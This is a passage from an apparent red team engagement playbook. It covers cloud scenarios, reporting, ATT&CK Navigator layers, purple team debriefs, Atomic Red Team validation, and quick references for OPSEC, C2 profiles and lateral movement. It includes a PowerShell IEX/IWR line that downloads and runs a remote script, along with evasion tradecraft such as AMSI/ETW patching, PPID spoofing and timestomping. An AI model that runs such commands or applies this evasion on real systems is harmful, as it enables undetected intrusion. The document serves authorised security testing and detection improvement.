network foothold. Tests the intersection of physical security and cyber defenses. ### 9.5 Cloud-Focused Target the organization's cloud estate (Azure AD, AWS, GCP). Start from an on-prem foothold or phished cloud credentials. Pivot from identity provider to cloud resources. Tests cloud IAM configuration, conditional access policies, and cloud-native detection. --- ## 10. Reporting and Purple Team ### 10.1 Report Structure | Section | Audience | Content | |---------|----------|---------| | Executive summary | Leadership | 1-2 pages of business impact in plain language | | Engagement overview | All | Scope, objectives, timeline, methodology, limitations | | Attack narrative | Technical leads | Chronological walkthrough with timestamps and evidence | | Technical findings | Defenders | Per-finding: description, affected systems, ATT&CK mapping, evidence, risk rating, remediation | | ATT&CK heatmap | SOC/IR | Visual matrix showing used techniques — green (detected) vs red (missed) | | Detection gap analysis | SOC | Which telemetry sources were present, which fired, which were absent | | Remediation roadmap | All | Prioritized recommendations by effort and impact | | IOC appendix | SOC/IR | Complete list of attacker indicators (IPs, domains, hashes, accounts, registry keys, files) | ### 10.2 Automated ATT&CK Navigator Layers Generate Navigator layers directly from your deconfliction log: ```python import json techniques_used = [ {"techniqueID": "T1566.001", "color": "#ff6666", "comment": "Spearphishing attachment — not detected"}, {"techniqueID": "T1059.001", "color": "#ff6666", "comment": "PowerShell execution — not detected"}, {"techniqueID": "T1003.001", "color": "#66ff66", "comment": "LSASS dump — detected by EDR in 4 minutes"}, {"techniqueID": "T1021.006", "color": "#ff6666", "comment": "WinRM lateral — not detected"}, ] layer = { "name": "Red Team Engagement - Client X - 2026-Q4", "versions": {"attack": "16.1", "navigator": "5.1.0", "layer": "4.5"}, "domain": "enterprise-attack", "techniques": techniques_used, "gradient": {"colors": ["#ff6666", "#ffff66", "#66ff66"], "minValue": 0, "maxValue": 2} } with open("engagement_layer.json", "w") as f: json.dump(layer, f, indent=2) # Import into ATT&CK Navigator for visual debrief ``` ### 10.3 Purple Team Debrief Conduct within one week of report delivery. 1. Walk the attack chain step by step with both teams present. 2. At each step: did the SOC detect it? How fast? What alert fired? If missed — why? 3. Identify specific gaps: missing log sources, absent alert rules, insufficient retention. 4. Collaboratively write detection rules for undetected techniques. 5. Replay selected techniques in a controlled setting so defenders can tune in real time. ### 10.4 Atomic Red Team Validation After remediation, validate that new detections actually work: ```bash # Run atomic tests for each technique that was missed # Install Atomic Red Team IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing) Install-AtomicRedTeam # Test specific technique Invoke-AtomicTest T1003.001 -TestNumbers 1,2,3 # Verify SOC sees the alert # Iterate until detection is confirmed ``` ### 10.5 Detection Gap Heatmap Methodology ```text For each ATT&CK technique used in the engagement: 1. Data Source Available? (Yes/No) - If No → "Blind Spot" (red) — no telemetry exists 2. Alert Rule Exists? (Yes/No) - If No → "Telemetry Gap" (orange) — data exists but not monitored 3. Alert Fired? (Yes/No) - If No → "Detection Failure" (yellow) — rule exists but didn't trigger 4. Response Initiated? (Yes/No) - If No → "Response Gap" (light yellow) — alert fired but no action taken 5. All Yes → "Detected and Responded" (green) Map each technique to this 5-level scale in the Navigator layer. ``` --- ## 11. Quick Reference ```text PHASE KEY ACTIONS ATT&CK TACTIC ───────────────────────────────────────────────────────────────────────────────── Planning Scope, ROE, deconfliction, legal auth -- Infrastructure Domain aging, VPS, redirectors, TLS, Terraform TA0042 Initial Access Phishing, exploitation, physical, cloud TA0001 Execution BOF → inline .NET → PIC loader → C2 TA0002 Persistence Registry, tasks, DLL hijack, WMI subscription TA0003 Privilege Escalation Token manipulation, UAC bypass, Kerberoast TA0004 Defense Evasion AMSI/ETW patch, unhook, syscalls, LOLBins TA0005 Credential Access LSASS dump, Kerberoast, DCSync, DPAPI TA0006 Discovery AD enum, BloodHound, network scanning TA0007 Lateral Movement WinRM, DCOM, SCShell, RDP hijack, SSH pivot TA0008 Collection Stage, compress, encrypt TA0009 Exfiltration DNS tunnel, HTTPS chunk, cloud dead drop TA0010 C2 Malleable profiles, sleep/jitter, DoH, CDN TA0011 Cleanup Remove artifacts, verify, hand off manifest -- Reporting Narrative, findings, ATT&CK heatmap, debrief -- ``` ```text OPSEC RULES (NON-NEGOTIABLE) Team server binds 127.0.0.1 — external access via redirector or tunnel only Kill dates on every implant — zero exceptions Zero-sleep forbidden except during active keyboard sessions Encrypt all collected data at point of acquisition Separate infrastructure per tier — burning T0 must not expose T2 Strip metadata from every delivered file Log every action: timestamp, target, technique, deconfliction code Never reuse infrastructure, domains, or tooling across engagements PPID spoof every spawned process Timestomp every dropped file Randomize all named pipes and service names INFRASTRUCTURE QUICK REFERENCE Redirector: nginx / Caddy / Lambda function with URI + UA filtering Tunnel: cloudflared, SSH, Nebula mesh, or WireGuard to localhost Domain age: 30 days minimum; categorize within first week TLS: Let's Encrypt or commercial CA — never self-signed DNS: separate registrar from hosting; WHOIS privacy enabled CT monitoring: watch crt.sh for your domains Teardown: Terraform destroy at engagement end C2 PROFILE CHECKLIST [ ] host_stage = false [ ] sleep/jitter per beacon tier [ ] User-Agent matches target legitimate traffic [ ] URIs mimic real application endpoints on target [ ] sleep_mask = true (memory obfuscation during sleep) [ ] obfuscate = true (string obfuscation in beacon) [ ] Valid TLS certificate loaded [ ] Spawn-to set to legitimate binary (not rundll32/dllhost) [ ] Named pipes randomized — no default CS patterns [ ] process-inject: NtMapViewOfSection, userwx=false, startrwx=false [ ] BOF allocator set to MapViewOfFile with memory reuse [ ] Kill date configured [ ] Fallback channels defined (HTTPS → DoH → DNS TXT → raw TCP) LATERAL MOVEMENT DECISION TREE Need interactive shell? → WinRM (evil-winrm) or RDP hijack (tscon) Need stealthy single command? → DCOM (MMC20.Application) or SCShell Need to pivot through Linux? → SSH ProxyJump or chisel SOCKS Need mass execution across subnet? → WMI or scheduled tasks (atexec) ``` --- ## 12. References - MITRE ATT&CK Enterprise Matrix: https://attack.mitre.org/matrices/enterprise/ - MITRE ATT&CK Navigator: https://mitre-attack.github.io/attack-navigator/ - LOLBAS Project: https://lolbas-project.github.io/ - GTFOBins: https://gtfobins.github.io/ - SysWhispers3: https://github.com/klezVirus/SysWhispers3 - HellsGate: https://github.com/am0nsec/HellsGate - Donut (PE to shellcode): https://github.com/TheWover/donut - sRDI (Shellcode RDI): https://github.com/monoxgas/sRDI - Atomic Red Team: https://github.com/redcanaryco/atomic-red-team - Nebula Mesh VPN: https://github.com/slackhq/nebula - Chisel Tunneling: https://github.com/jpillora/chisel - SCShell: https://github.com/Mr-Un1k0d3r/SCShell - InlineExecute-Assembly: https://github.com/anthemtotheego/InlineExecute-Assembly - BOF Reference: https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/beacon-object-files_main.htm - CISA Red Team Sharing Guide: https://www.cisa.gov/resources-tools/resources/cisa-red-team-sharing-guide - TIBER-EU Framework: https://www.ecb.europa.eu/paym/cyber-resilience/tiber-eu/ - PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings - Active Directory Exploitation Cheat Sheet: https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet